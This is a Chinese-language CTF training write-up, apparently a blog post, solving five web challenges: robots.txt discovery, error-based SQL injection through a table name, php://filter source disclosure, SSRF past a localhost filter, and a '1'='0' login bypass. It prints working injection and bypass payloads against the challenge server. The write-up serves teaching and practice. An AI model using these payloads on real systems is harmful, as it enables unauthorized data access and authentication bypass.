#writeup#平安科技CTF培訓(xùn)-2017.10.21

http://game.rootk.pw:51001/web1/

并不是簽到題!!!

my password

my password: G00dPassw0rD不是flag。

Robots協(xié)議(也稱為爬蟲協(xié)議、機器人協(xié)議等)的全稱是“網(wǎng)絡(luò)爬蟲排除標(biāo)準(zhǔn)”(Robots Exclusion Protocol),網(wǎng)站通過Robots協(xié)議告訴搜索引擎哪些頁面可以抓取,哪些頁面不能抓取。

robots.txt文件是一個文本文件,使用任何一個常見的文本編輯器,比如Windows系統(tǒng)自帶的Notepad,就可以創(chuàng)建和編輯它。robots.txt是一個協(xié)議,而不是一個命令。robots.txt是搜索引擎中訪問網(wǎng)站的時候要查看的第一個文件。robots.txt文件告訴蜘蛛程序在服務(wù)器上什么文件是可以被查看的。
當(dāng)一個搜索蜘蛛訪問一個站點時,它會首先檢查該站點根目錄下是否存在robots.txt,如果存在,搜索機器人就會按照該文件中的內(nèi)容來確定訪問的范圍;如果該文件不存在,所有的搜索蜘蛛將能夠訪問網(wǎng)站上所有沒有被口令保護的頁面。建議,僅當(dāng)您的網(wǎng)站包含不希望被搜索引擎收錄的內(nèi)容時,才需要使用robots.txt文件。如果您希望搜索引擎收錄網(wǎng)站上所有內(nèi)容,請勿建立robots.txt文件。
如果將網(wǎng)站視為酒店里的一個房間,robots.txt就是主人在房間門口懸掛的“請勿打擾”或“歡迎打掃”的提示牌。這個文件告訴來訪的搜索引擎哪些房間可以進入和參觀,哪些房間因為存放貴重物品,或可能涉及住戶及訪客的隱私而不對搜索引擎開放。但robots.txt不是命令,也不是防火墻,如同守門人無法阻止竊賊等惡意闖入者。

robots.txt

繼續(xù)進入secret_flag_file.php:

secret_flag_file.php

說了要post剛才的password,拿到flag。

Got it !

Done.

PS:使用FireFox的Hackbar插件,就能實現(xiàn);或者使用BurpSuite。


http://game.rootk.pw:51001/web2/

SQL注入+代碼審計。

首先看代碼:

/*這里說明表名是#web2#,并不包含flag。
mysql:
create table `#web2#`(
     pid INT(11) NOT NULL AUTO_INCREMENT,
     name VARCHAR(255) NOT NULL UNIQUE,
     PRIMARY KEY(pid)
);
*/

php code:
$db = array(
        'DB_HOST' => 'localhost',
        'DB_USER' => 'web2',
        'DB_PWD' => 'xxx',
        'DB_CHAR' => 'utf8',    #使用了utf8字符集的數(shù)據(jù)庫,說明寬字節(jié)注入沒戲
        'DB_NAME' => 'xxx',
);

$conn = mysql_connect($db['DB_HOST'], $db['DB_USER'], $db['DB_PWD']) or exit(mysql_error());
mysql_select_db($db['DB_NAME'], $conn) or exit(mysql_error());
mysql_query("SET NAMES " . $db['DB_CHAR']);
$data = addslashes($_GET['data']);

/*SQL語句被換行了,說明是尾部注釋(;或者#或者--)沒戲
$sql = "UPDATE `{$data}`
        SET `name`='test'
        WHERE pid=1";
echo $sql;
$res = mysql_query($sql) or exit(mysql_error());//說明需要構(gòu)造報錯型注入
mysql_close($conn);
//綜合幾點,只能在表名本身做手腳了

PS:推薦大家一個練習(xí)CTF的本地環(huán)境。
DVWA。
相關(guān)配置會在稍后整理出來。
因為搞這個浪費了不少時間然后發(fā)現(xiàn)其實是Apache有個坑,這貨特喵居然默認(rèn)沒有加載PHP模塊。知道這個之后一分鐘就搞定了。
先看update語句的一個姿勢:

mysql> show tables;
+----------------+
| Tables_in_dvwa |
+----------------+
| #web2#         |
| guestbook      |
| users          |
+----------------+
3 rows in set (0.00 sec)
 
mysql> update `#web2#` t left join (select * from users) y on t.`name` = y.`user` SET `name` = 'test' where pid = 9999;
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

說明表名部分可以做左連接查詢, 而紅色部分就是我們要做注入的參數(shù)。

需要觸發(fā)報錯注入,找一個payload,Exp(~(select * from (select user())a)) (詳情看CTF in web)

http://game.rootk.pw:51001/web2/
?data=%23web2%23` t left join (select Exp(~(select * from (select user())a))) y on 11 = y.`xxx

成功注入:

成功注入

那剩下的步驟就是利用information_schema來獲取表名和列名, 最后:

獲取表名
獲取列名

Done.


http://game.rootk.pw:51001/web3/

http://game.rootk.pw:51001/web3/index.php?m=login
文件上傳漏洞。

php://filter/convert.base64_encode/resource=login

分析:

插入filter

base64解碼后,得到index.php:

base64解碼
  • 同樣的方法得到login.php的代碼
login.php代碼
  • 發(fā)現(xiàn)了flag.php,同樣的方法讀取代碼
flag.php

ASCII解碼就得到flag:

ACSII解碼

Done.


http://game.rootk.pw:51001/web4/

分析:

  • 提示flag_file.php
flag_file.php
  • 進入flag_file.php, 看到127.0.0.1, 再留意之前index.php的參數(shù)url,不用多想,這一定是SSRF的利用
127.0.0.1
  • 進一步驗證了是SSRF:
SSRF
  • 直接使用127.0.0.1 不行,可能做了關(guān)鍵字過濾
關(guān)鍵字過濾
  • 把127.0.0.1轉(zhuǎn)成整數(shù)或者localhost,成功拿到flag
localhost

Done.


http://game.rootk.pw:51001/web5/

一上來二話不說,萬能口令走起(用戶名和密碼都是1'='0),拿到flag

select * from users where username='1'='0' and password='1'='0'

username='1'='0' => "0"="0" => true

password='1'='0' => "0"="0" => true

mysql中字符串(非1)和1比較都等于0

當(dāng)然,也可以都寫'-'

MySQL黑魔法:隱式轉(zhuǎn)換。
之后會另開一文詳細(xì)介紹。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容